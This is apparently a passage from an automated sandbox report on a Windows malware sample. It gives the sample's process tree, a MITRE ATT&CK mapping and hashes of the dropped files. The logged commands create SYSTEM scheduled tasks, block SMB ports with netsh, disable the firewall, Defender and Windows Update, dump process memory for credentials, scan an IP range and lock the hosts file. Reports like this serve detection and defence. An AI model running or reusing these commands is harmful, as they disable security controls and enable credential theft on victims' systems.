    - Scheduled Task/Job: Scheduled Task
    PID:4712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "entieatkh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "entieatkh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1128
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ilklngwgl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ilklngwgl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1212
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5012
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4904
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1716
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3608
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:808
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4256
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4136
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2944
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1984
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 784 C:\Windows\TEMP\etqajulug\784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4684
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3564
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5032
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2752
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:2352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:1656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2232
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4688
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2448
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:1316
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:2424
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4152
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3220
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:776
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4620
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3348
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:4904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:4916
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4140
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1296
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:2392
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2832
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1600
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  PID:3260
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 332 C:\Windows\TEMP\etqajulug\332.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 2140 C:\Windows\TEMP\etqajulug\2140.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:444
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 2696 C:\Windows\TEMP\etqajulug\2696.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4004
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 2824 C:\Windows\TEMP\etqajulug\2824.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3548
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 2848 C:\Windows\TEMP\etqajulug\2848.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4836
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3080 C:\Windows\TEMP\etqajulug\3080.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4312
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3836 C:\Windows\TEMP\etqajulug\3836.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2236
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3928 C:\Windows\TEMP\etqajulug\3928.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3992 C:\Windows\TEMP\etqajulug\3992.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 4064 C:\Windows\TEMP\etqajulug\4064.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4084
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3616 C:\Windows\TEMP\etqajulug\3616.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 1364 C:\Windows\TEMP\etqajulug\1364.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4108
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3468 C:\Windows\TEMP\etqajulug\3468.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4420
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 4980 C:\Windows\TEMP\etqajulug\4980.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4176
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 3604 C:\Windows\TEMP\etqajulug\3604.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4460
- C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe
  C:\Windows\TEMP\etqajulug\vrlgkrtsk.exe -accepteula -mp 2988 C:\Windows\TEMP\etqajulug\2988.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\etqajulug\ekithtuut\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1140
- - C:\Windows\etqajulug\ekithtuut\lsivtqwuf.exe
    lsivtqwuf.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:776
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:712
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:436
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2012
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4372
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:4408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:1708

C:\Windows\SysWOW64\yqiwma.exe
C:\Windows\SysWOW64\yqiwma.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3156

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F
1⤵
PID:1984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2368
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F
  2⤵
  PID:1008

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F
1⤵
PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1856
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F
  2⤵
  PID:3472

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\jirnzjt.exe
1⤵
PID:3008
- C:\Windows\ime\jirnzjt.exe
  C:\Windows\ime\jirnzjt.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2436

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F
1⤵
PID:316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1708
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\mgifenbt\jirnzjt.exe /p everyone:F
  2⤵
  PID:748

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\jirnzjt.exe
1⤵
PID:2360
- C:\Windows\ime\jirnzjt.exe
  C:\Windows\ime\jirnzjt.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2340

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F
1⤵
PID:3632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4956
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\ibnltisvu\jngiyk.exe /p everyone:F
  2⤵
  PID:1884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\etqajulug\1364.dmp

Filesize
26.3MB

MD5
9f2fd6e9180878ab6d9a4f1eba6f8e4b

SHA1
486ad2f343c0cc8182ef2b890f7cbbb750c3a410

SHA256
089cf367c4fb276252a9f0faa41be6caf9dc562b12b0efc7ceeafb0eb187a09e

SHA512
5793cf80117372da94eaff153a1f7df9bf4834827f65e1fab7f2354b31a17d9f797473cfe4ad1fbd537831fb0188b98fd883ef1bc9e7c50fb6c37eb81c50d464

Download Submit
C:\Windows\TEMP\etqajulug\2140.dmp

Filesize
4.1MB

MD5
f8ff957f97a8b6d80c7120941f5de181

SHA1
e9143e93aefb374644109df1fb49ea40df9d64ec

SHA256
d747dc0996a37150d2dcab76c9d63e67f638bb3f05f5fc7f614f7d5ab4e925ee

SHA512
ea28c156bb69897481f871a587385178a672a1e4c927fcc916d90533ae97cf5df2bd3826c9ab81a919c721e995600810e673d3df820a38f7049319812d7e2c8c

Download Submit
C:\Windows\TEMP\etqajulug\2696.dmp

Filesize
3.9MB

MD5
5132450909cfe72afb3143af48c66c3f

SHA1
4b2330d51f1a05c24481dd9e3ea37fb5dff9c459

SHA256
3bbfbd7877820cfb5b4f6d0600fe257143e32dd6d616d3bd64d9d6228ab81c5a

SHA512
f28b98f3b1e6e6ca855207c3f1fe2376ff494d15548f263ae23d085e682812308955e5833d4a89adcbb292f1e91890f0410829060e9bd2a9abb2df6275d652f2

Download Submit
C:\Windows\TEMP\etqajulug\2824.dmp

Filesize
2.9MB

MD5
ed59809381d222888a69f1a0ec42dc4b

SHA1
9c74c3b2668451146aae4f914a48ee57be6d1b20

SHA256
5487b68f502fe207e37c0c4538b180aa0483ecbeb29294e76e66d7e3154f90d8

SHA512
458711f8a1b3b1a87e621f13e565ce8271b34f5a1a853a38b74af889e074bb094dd26fe8ac49e7f3fe2ebd70386686e2f21ba3bafa476abdb4b64efbfff4e2d9

Download Submit
C:\Windows\TEMP\etqajulug\2848.dmp

Filesize
7.6MB

MD5
90a9a7340637216e835a430f0e1e6a3c

SHA1
dd9fd413648923b36a6c636c33989c096f828635

SHA256
2e1878ef902893604451d205874b6113e2895778e61221af03a0188d14a7e5a7

SHA512
4c009c2c2e70f4d35ff9b0697244ee5ea01255110dc396470c0efeac7e19bdbf714c5c08648fe3e88008b912a3eae88d669faf5a1c96ef227de03138e0842eec

Download Submit
C:\Windows\TEMP\etqajulug\3080.dmp

Filesize
818KB

MD5
db0b8f76b396d24a7a00054063fc3519

SHA1
5bfbeae48d5b4cbc6ae27b7caa93dd310eda33f2

SHA256
21c31aecf122126367cc54b53e473291d18511ef2601c9fd9fc3e6703fc93e63

SHA512
594f4a7930efe7ef16945d8df2bbaf3201381d7611b9a76d08caf448116e6b472f74ebec4480b33a5885566df6862844f7ba12effca9803fd76398739abe3c13

Download Submit
C:\Windows\TEMP\etqajulug\332.dmp

Filesize
33.5MB

MD5
01907e4cdf5ae31b1bc8c591a381f60c

SHA1
812f3400c3d9ec344e49c275a3795815a851760b

SHA256
36412183585e47fa5de9905de0f15b224f40cbb1f62c8153aad31b65ed4f8e3a

SHA512
672c909f49c5689eafb22ad343c439f3af789fe754a69ab53bf221a25429f3e856fdad0e467dfd0209256556cca61e631837bb91ad5df78db6703a16f3aa2114

Download Submit
C:\Windows\TEMP\etqajulug\3468.dmp

Filesize
8.5MB

MD5
f3a37516055e6bb1b4c488104c902223

SHA1
b680e5d738b9b42536ba2be31ad02e17f12c3c1c

SHA256
4df6ad9fce35ae4e28cf7570a188ed06f5c4f5026e34ee33b24bbeb165a68358

SHA512
569150b9ce5368458126bee6496afdff77c4b01fb44f1e82834e7115b5fa89c4b89ea699eae304376327d2527dadab193010f55286720d37d84a8a1afb61c5b1

Download Submit
C:\Windows\TEMP\etqajulug\3616.dmp

Filesize
1.2MB

MD5
e316a1c1914870eab8c3d598d138bc7b

SHA1
ffbd0f1db85547d0293d848f163e96b5e471f9a8

SHA256
458812acd80cb040db29284c0c480dfb4705aea7a855b1d81d3c443c9fbce7ad

SHA512
4483707f24f6454aa858a255f4483ce3226487f7db3e3d402c8c6615ed68ba1993a779731131c763cfaa1f2b4cc43c8baf61e3f7f67d46b2aa9a996115dc61a4

Download Submit
C:\Windows\TEMP\etqajulug\3836.dmp

Filesize
2.3MB

MD5
df454e4d5f8dc79e69a376129298e377

SHA1
faeca6090d7d1e6889697fe4ac859893d29c3f9a

SHA256
69a989d407d985b484d469ea1899e57d516c0fd58b313ac887fdddc53917e6ef

SHA512
2e77c3c5081d2df784a25bd07694b13e401301823d0a0de63ca93a5bfb40af00e9934b9c203da73044c0c7efa1033f0995631cdb015aabf9467cdeac63c7b525

Download Submit
C:\Windows\TEMP\etqajulug\3928.dmp

Filesize
20.8MB

MD5
a191632dfdc093d0ec3f533c288d9866

SHA1
2d0b7ca54aeaf5568f1057a4b41b8336d2104c3a

SHA256
68188b6d4ca6033afb97c4598f667d189fe8953161a378e77631e272a1a62a21

SHA512
934b154fb0d1707a799bf887209ae10f04bacba016c30c75c6649aedff6c0a3c71c51903c0d246864668af25b302d7964e6adf1a5afb7e8a972655b8a38ac9ba

Download Submit
C:\Windows\TEMP\etqajulug\3992.dmp

Filesize
4.2MB

MD5
3593aa202e01d91e7d8c3a6915c532ce

SHA1
e963167b84c6b4f5341fd665fe86760cdb8a8d69

SHA256
e4bff1af8583a703745c4fedc7b9211c6f3fd5e32d56c74a3361b88a68ca4329

SHA512
c833a94415935c661180a53987cefca9b728f0f2df8b49bdc446383fb4ee304ac29502f96d1c2d9a22edd23798c433fe585662ac6af18ee5888d3532d20d9ad7

Download Submit
C:\Windows\TEMP\etqajulug\4064.dmp

Filesize
44.1MB

MD5
5750a7d35a2e19360056f081fb7b95c1

SHA1
1fe611529735781d5d5c15ebfd160087332bb8e2

SHA256
8f4c7ce84bf3853322c52e4e2a91a63e206605e16d445cec09ea35070bde5640

SHA512
3bcdf6f1040c116a8ab1dcbb3bffb8357512371f6d87032f8047a7676021ab1eb79dd22e69136c0fee1d39c383067a8c6eb0328980552b5031bf905c3a427d7e

Download Submit
C:\Windows\TEMP\etqajulug\784.dmp

Filesize
1019KB

MD5
68e16736b24f0121dbfcc8bbabaa62c5

SHA1
66e9a2e6e61c09e0ceaa051e420e0eaa4e014c95

SHA256
cedcd3a708d24f8bc1d214705bf17d16319dcc3f8a6fc2584b9818261b32fa4d

SHA512
55d2a28e22259e4b809c52cad7596999b6b24b488c282bbd7f5983506d96340ffc0b6f338153629a930d4e401a72c98ca1a32eee1f0955bab9186c7ffffba976

Download Submit
C:\Windows\TEMP\ibnltisvu\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\etqajulug\vrlgkrtsk.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\ibnltisvu\jngiyk.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nsf123D.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsf123D.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\etqajulug\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\etqajulug\ekithtuut\Result.txt

Filesize
1KB

MD5
fbc446454bd7a808264023ca55562a99

SHA1
f8f9af22e3abaa4aaad703a57e0ec58481472e38

SHA256
34ac860891be28a9e5456ce5e667d0490ba2b87178a3902585d9fb62cc27e6c5

SHA512
0b04962fd732d0f9ef23bebcb8efa1bdae98583c4c7fcf016f86527883f4bb589dfa1f19f8b3ae262f85a84dccf99a662ad8121b81d69b320ffb32e827a083de

Download Submit
